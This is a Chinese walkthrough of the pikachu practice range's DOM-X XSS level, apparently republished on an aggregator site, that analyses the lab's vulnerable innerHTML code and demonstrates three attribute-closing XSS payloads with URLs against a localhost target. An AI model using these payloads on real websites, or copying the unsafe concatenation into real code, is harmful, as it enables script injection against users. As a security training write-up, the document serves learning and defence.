pikachu靶场通关笔记09 XSS关卡05-DOM型XSS-X

目录

一、XSS

二、DOM型XSS

三、源码分析

1、打开DOM-X型XSS关卡

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3

五、DOM型XSS与DOM-X型XSS区别


本系列为通过《pikachu靶场通关笔记》的XSS攻击关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡05-DOM-X型XSS的渗透部分,并对比04关DOM型XSS,从源码分析和原理对比两者的区别。

一、XSS

XSS 全称为跨站脚本攻击(Cross - Site Scripting),因其高危害性长期位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

分类

存储型XSS

(Stored XSS)

反射型XSS

(Reflected XSS)

DOM型XSS

(DOM-based XSS)

存储位置服务器(数据库/文件)URL参数(不存储)前端DOM(不经过服务器)
触发方式用户访问被污染的页面自动执行用户点击恶意链接后临时反射执行前端JS操作DOM时动态触发
持久性长期存在一次性(需诱导点击)依赖用户当前页面操作
检测难度中(需扫描存储内容)中(需构造恶意URL)高(需人工审计前端代码)
典型场景论坛评论、用户资料页搜索框、错误页面SPA应用、动态路由
服务端参与是(存储+返回恶意代码)是(反射恶意代码)否(纯前端)
防御重点输入过滤+输出编码URL参数消毒+CSP策略安全的DOM操作+前端验证
修复成本高(需清理数据库)中(修改参数处理逻辑)中(重构前端代码)

二、DOM型XSS

DOM型XSS(DOM-based XSS)是一种纯客户端的跨站脚本攻击,恶意脚本通过前端JavaScript动态操作DOM触发,不经过服务器处理。攻击者利用URL片段(如#<script>alert(1)</script>)或输入字段注入恶意代码,当页面使用innerHTML、eval()或location.hash等危险API解析内容时执行。常见于单页应用(SPA)和动态网页,传统WAF难以检测。与存储型/反射型XSS不同,DOM型完全在浏览器端完成攻击链,是现代化Web应用的高危风险。

分类DOM型XSS
别名Type-0 XSS、纯客户端XSS
攻击入口URL片段(#后)、location.search、前端输入字段(如document.getElementById().value
触发条件前端使用危险API动态操作DOM(如innerHTMLdocument.writeeval()
数据流不经过服务器,直接在浏览器端解析执行
攻击特点绕过服务端检测(WAF无效),依赖前端代码逻辑风险
防御措施1. 避免innerHTML(用textContentcreateElement
2. 输入消毒(DOMPurify库)
3. CSP策略(禁止内联脚本)
检测难点需人工审计前端代码,自动化工具易漏检

三、源码分析

1、打开DOM-X型XSS关卡

进入pikachu靶场XSS系列的05关卡 DOM-X型XSS页面,让说出你的伤心往事,具体打如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

点击如上链接进入下图界面,发现此时输出的内容与上一步的输入有区别, 如下所示。

3、源码分析

查看DOM-X型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字“风”,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出,具体如下所示。

这段代码存在DOM-X型 XSS 安全风险,具体的源码经过详细注释后如下所示。

<div class="page-content"><div id="xssd_main"><script>function domxss(){var str = window.location.search;// 从URL获取参数var txss = decodeURIComponent(str.split("text=")[1]);// 解码URL编码并提取text参数值(危险操作!)var xss = txss.replace(/\+/g,' ');// 将+号替换为空格(不影响XSS攻击)// 直接将用户输入拼接到HTML中(核心注入点)document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";}// 攻击者可以尝试以下Payload:// 1. '><img src="#" onmouseover="alert('xss')">// 2. ' onclick="alert('xss')"></script><!-- 表单提交text参数到当前URL --><form method="get"><input id="text" name="text" type="text" value="" /><input id="submit" type="submit" value="请说出你的伤心往事"/></form><!-- 恶意代码将注入到这个DOM节点 --><div id="dom"></div></div>
</div>

分析可知本关卡JS代码定义了一个domxss函数,它利用 window.location.search 获取浏览器中URL的内容,然后赋值给str,然后经过URL解码和字符串分隔,取出URL中的参数内容。再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。函数的执行流程如下所示。

步骤代码作用风险
1window.location.search获取URL中?后的查询字符串(如?text=payload直接暴露用户可控输入
2str.split("text=")[1]提取text参数的值(未检查参数是否存在)text不存在会导致undefined错误
3decodeURIComponent()解码URL编码字符(如%3C恢复为<还原可能含有的恶意代码
4replace(/\+/g, ' ')+号替换为空格(URL中空格可能被编码为+不影响XSS攻击
5innerHTML = "<a href='"+xss+"'>动态生成<a>标签,用户输入直接拼接到href属性未转义字符导致DOM-XSS风险

本关卡的根源在于不可信数据未经验证直接插入DOM,关键代码如下所示。

function domxss() {// 获取当前URL的查询参数(如 ?text=恶意代码)var str = window.location.search;// 提取text参数值并解码URL编码var txss = decodeURIComponent(str.split("text=")[1]);// 将+号替换为空格(处理URL中空格被编码为+的情况)var xss = txss.replace(/\+/g, ' ');// 将用户输入拼接到<a>标签的href属性中,并插入DOMdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

四、渗透实战

    渗透的方法是通过<a href='"+xss+"'>就让往事都随风,都随风吧</a>构成闭合,对比DOM型XSS关卡的闭合参数如下所示。

    DOM-X型:<a href='"+xss+"'>就让往事都随风,都随风吧</a>
    DOM型:  <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>就让往事都随风,都随风吧</a>

    点击请说出你的伤心事后,下方生成链接,URL地址如下所示。

    ​http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#

    经过URL decode后的完整URL链接如下所示。

    ​http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#

    点击链接后,弹框ljn,接下来进行如下分析:右键元素-点击查看器-Ctrl+F搜索关键字“风”,如下所示。

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

     闭合后:<a href οnclick="alert('ljn')"> >'就让往事都随风,都随风吧</a> 

    如上所示,点击请说出你的伤心事后,下方生成链接,URL地址如下所示。 

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E

    经过URL decode后的完整URL链接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">

    点击链接,弹出“ljn”,XSS攻击成功,如下所示。 

    3、Payload3

    payload3: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('ljn')">'>就让往事都随风,都随风吧</a>

    再次点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”的URL链接。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E

     经过URL decode后的完整URL链接如下所示。

    http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='><img+src="#"+onmouseover="alert('ljn')">

    点击链接后生成如下界面,注意红框处是一个图表,鼠标放到下图红框处就可以弹框。

    鼠标放到上图红框部分,即可弹框“ljn”,说明渗透成功,具体如下所示。

    五、DOM型XSS与DOM-X型XSS区别

    第四关DOM型XSS关键代码如下所示,参数从表单获取。

    var str = document.getElementById("text").value; // 从页面表单获取用户输入 
    // 将用户输入拼接到<a>标签的href属性中,并插入DOM       
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    

     第五关DOM-X型XSS关键代码如下所示,参数从URL种获取。

    var str = window.location.search;// 获取当前URL的查询参数(如 ?text=恶意代码)
    var txss = decodeURIComponent(str.split("text=")[1]); // 提取text参数值并解码URL编码
    var xss = txss.replace(/\+/g, ' ');// 将+号替换为空格(比如处理URL中空格被编码为+的情况)// 将用户输入拼接到<a>标签的href属性中,并插入DOM
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧

    分析可知相比DOM型的XSS,DOM-X型XSS危害更大,因为它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击,两者详细区别如下所示。

    对比维度dom-x xss关卡 函数(第五关)dom xss 函数(第四关)
    输入来源从window.location.search获取URL参数(如?text=脚本从document.getElementById("text").value获取表单输入值
    触发方式

    页面加载时自动执行

    (需直接访问含恶意参数的URL)

    需要用户手动输入内容并点击按钮触发
    攻击复杂度低(攻击者只需构造恶意URL)中(需要诱导用户在输入框输入恶意内容并点击)
    利用场景通过钓鱼链接传播需要用户主动在页面交互
    参数处理自动解码URL编码(decodeURIComponent)直接使用原始输入(未解码URL编码)
    代码相似点均使用innerHTML直接拼接未过滤的用户输入到DOM均使用innerHTML直接拼接未过滤的用户输入到DOM
    典型攻击Payload?text='><img src=x onerror=alert(1)>输入框输入:'><img src=x onerror=alert(1)>
    防御难度

    更难防御(URL参数可能被各种工具自动编码/解码)

    较易防御(可通过前端输入检查拦截)
    修复建议1. 使用textContent替代innerHTML
    2. 严格校验URL参数
    1. 使用textContent
    2. 表单输入时实时过滤特殊字符

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/85473.shtml

    如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    湖北理元理律所:企业债务重组中的“法律缓冲带”设计

    一、担保链危机的法律拆解技术 中小企业债务困局多源于担保链蔓延。本所处理某制造企业案例时&#xff0c;运用三层法律工具阻断风险传导&#xff1a; 1. 主合同审查 → 发现银行擅自变更借款用途 → 援引《民法典》第695条解除担保 2. 股东责任切割 → 证明企业财产独立 …

    调整数据集的方法

    我们对worldquant中的数据&#xff0c; 对数据频率怎么算 在 WorldQuant 平台中&#xff0c;数据更新频率是影响量化策略有效性、回测准确性和实盘交易表现的核心因素之一。它决定了数据的时效性和连续性&#xff0c;直接关系到策略能否捕捉市场动态、应对突发事件或适应不同…

    [Linux] Linux 系统从启动到驱动加载

    Linux 系统从启动到驱动加载 文章目录 Linux 系统从启动到驱动加载一、硬件上电与 BIOS/UEFI 阶段1. 1 硬件上电初始化1.2 BIOS/UEFI执行过程1.3 Bootloader加载细节 二、Bootloader 阶段三、Linux 内核初始化3.1 架构相关初始化&#xff08;setup_arch&#xff09;3.2 核心子系…

    Spring Boot DevTools 热部署

    在Spring Boot项目中加入 spring-boot-devtools 热部署依赖启动器后&#xff0c;通常不需要手动重启项目即可让更改生效。spring-boot-devtools 的核心特性之一就是自动重启或热加载。 Spring Boot DevTools 热部署关键知识点 &#x1f525; 目的&#xff1a;spring-boot-devt…

    uni-app学习笔记十五-vue3页面生命周期(二)

    onShow&#xff1a;用于监听页面显示&#xff0c;页面每次出现在屏幕上都触发&#xff0c;包括从下级页面点返回露出当前页面&#xff1b; onHide:监听页面隐藏&#xff0c;当离开当前页面时触发。 示例代码&#xff1a; <template><view>姓名&#xff1a;{{nam…

    LIKE ‘%xxx%‘ 和 LIKE ‘xxx%‘ 的索引影响分析

    LIKE ‘%xxx%’ 和 LIKE ‘xxx%’ 的索引影响分析 一、基础概念解析 1.1 LIKE操作符的工作原理 LIKE是SQL中用于模式匹配的操作符,支持两种通配符: %:匹配任意数量字符(包括零个字符)_:匹配单个字符go专栏:https://duoke360.com/tutorial/path/golang 1.2 数据库索引…

    【软件测试】测试框架(unittest/pytest)

    本文介绍了Python 中最常用的两个测试框架&#xff1a;unittest 和 pytest&#xff0c;帮助你编写更规范、可维护的自动化测试用例。 一、unittest 框架 unittest 是 Python 内置的标准库&#xff0c;无需额外安装&#xff0c;适合初学者入门。它借鉴了 JUnit 的设计理念&…

    麒麟信安安装谷歌浏览器

    参考文档 麒麟信安系统Chrome离线安装包&#xff1a;高效便捷的浏览器解决方案-CSDN博客 项目文件预览 - 麒麟信安系统Chrome离线安装包:本仓库提供了一个适用于麒麟信安系统的Chrome浏览器离线安装包。该安装包包含了所有必要的依赖文件&#xff0c;并且已经对系统中已有的依…

    Wireshark 使用教程:让抓包不再神秘

    一、什么是 tshark&#xff1f; tshark 是 Wireshark 的命令行版本&#xff0c;支持几乎所有 Wireshark 的核心功能。它可以用来&#xff1a; 抓包并保存为 pcap 文件 实时显示数据包信息 提取指定字段进行分析 配合 shell 脚本完成自动化任务 二、安装与验证 Kali Linux…

    从0到1:多医院陪诊小程序开发笔记(上)

    概要设计 医院陪诊预约小程序&#xff1a;随着移动互联网的普及&#xff0c;越来越多的医院陪诊服务开始向线上转型, 传统的预约方式往往效率低下&#xff0c;用户需耗费大量时间进行电话预约或现场排队&#xff0c;陪诊服务预约小程序集多种服务于一体&#xff0c;可以提高服…

    定时任务:springboot集成xxl-job-core(二)

    定时任务实现方式&#xff1a; 存在的问题&#xff1a; xxl-job的原理&#xff1a; 可以根据服务器的个数进行动态分片&#xff0c;每台服务器分到的处理数据是不一样的。 1. 多台机器动态注册 多台机器同时配置了调度器xxl-job-admin之后&#xff0c;执行器那里会有多个注…

    Unity使用Lua框架和C#框架开发游戏的区别

    在Unity中使用Lua框架和C#框架开发游戏有显著的区别&#xff0c;主要体现在性能、开发效率、热更新能力、维护成本等方面。 1. 语言类型与设计目标 维度LuaC#类型动态类型、解释型脚本语言静态类型、编译型面向对象语言设计初衷轻量级嵌入、配置和扩展宿主程序通用开发&#…

    高精度文档解析利器:Mistral OCR 全面解析与技术应用

    目录 &#x1f680; 高精度文档解析利器&#xff1a;Mistral OCR 全面解析与技术应用 一、什么是 Mistral OCR&#xff1f; 二、Mistral OCR 的核心特点 ✅ 1. 支持复杂文档结构解析 ✅ 2. 高识别精度 ✅ 3. 与 AI 系统深度集成 ✅ 4. 可扩展性与容错能力 三、技术原理…

    腾讯云开发者社区文章内容提取免费API接口教程

    接口简介&#xff1a; 提取指定腾讯云开发者社区文章内容。本接口仅做内容提取&#xff0c;未经作者授权请勿转载。 请求地址&#xff1a; https://cn.apihz.cn/api/caiji/tencent.php 请求方式&#xff1a; POST或GET。 请求参数&#xff1a; 【名称】【参数】【必填】【说…

    【项目】在线OJ(负载均衡式)

    目录 一、项目目标 二、开发环境 1.技术栈 2.开发环境 三、项目树 目录结构 功能逻辑 编写思路 四、编码 1.complie_server 服务功能 代码蓝图 开发编译功能 日志功能 ​编辑 测试编译模块 开发运行功能 设置运行限制 jsoncpp 编写CR 如何生成唯一文件名 …

    【后端高阶面经:架构篇】50、数据存储架构:如何改善系统的数据存储能力?

    一、数据存储架构设计核心原则 (一)分层存储架构:让数据各得其所 根据数据访问频率和价值,将数据划分为热、温、冷三层,匹配不同存储介质,实现性能与成本的平衡。 热数据层:访问频率>100次/秒。采用Redis集群存储高频访问数据(如用户登录态、实时交易数据),配合…

    B1、进度汇报(— 25/05/31)

    本文档汇总了各成员在 2025 年 5 月 11 日 ~ 5 月 31 日完成的工作。我们遇到了进度问题&#xff08;收工后需反思&#xff09;&#xff1a; 本学期第十四周&#xff08;05/19 ~ 05/25&#xff09;有相当多课程需要提交实验结果或上台展示。本学期第十六周&#xff08;06/02 ~…

    每天总结一个html标签——a标签

    文章目录 一、定义与使用说明二、支持的属性三、支持的事件四、默认样式五、常见用法1. 文本链接2. 图片链接3. 导航栏 在前端开发中&#xff0c;a标签&#xff08;锚点标签&#xff09;是最常用的HTML标签之一&#xff0c;主要用于创建超链接&#xff0c;实现页面间的跳转或下…

    云服务器突发宕机或无响应怎么办

    当云服务器突发宕机或无响应时&#xff0c;需快速定位问题并恢复服务。以下是分步骤的解决方案&#xff1a; 1. 初步确认问题 检查网络连接 本地网络是否正常&#xff1f;尝试 ping 其他网站 排除本地问题。 使用 ping <服务器IP> 或 traceroute <IP> 测试网络连通…

    动态IP与区块链:重构网络信任的底层革命

    在数字经济蓬勃发展的今天&#xff0c;网络安全与数据隐私正面临前所未有的挑战。动态IP技术与区块链的深度融合&#xff0c;正在构建一个去中心化、高可信的网络基础设施&#xff0c;为Web3.0时代的到来奠定基础。 一、技术碰撞&#xff1a;动态IP与区块链的天然契合 动态I…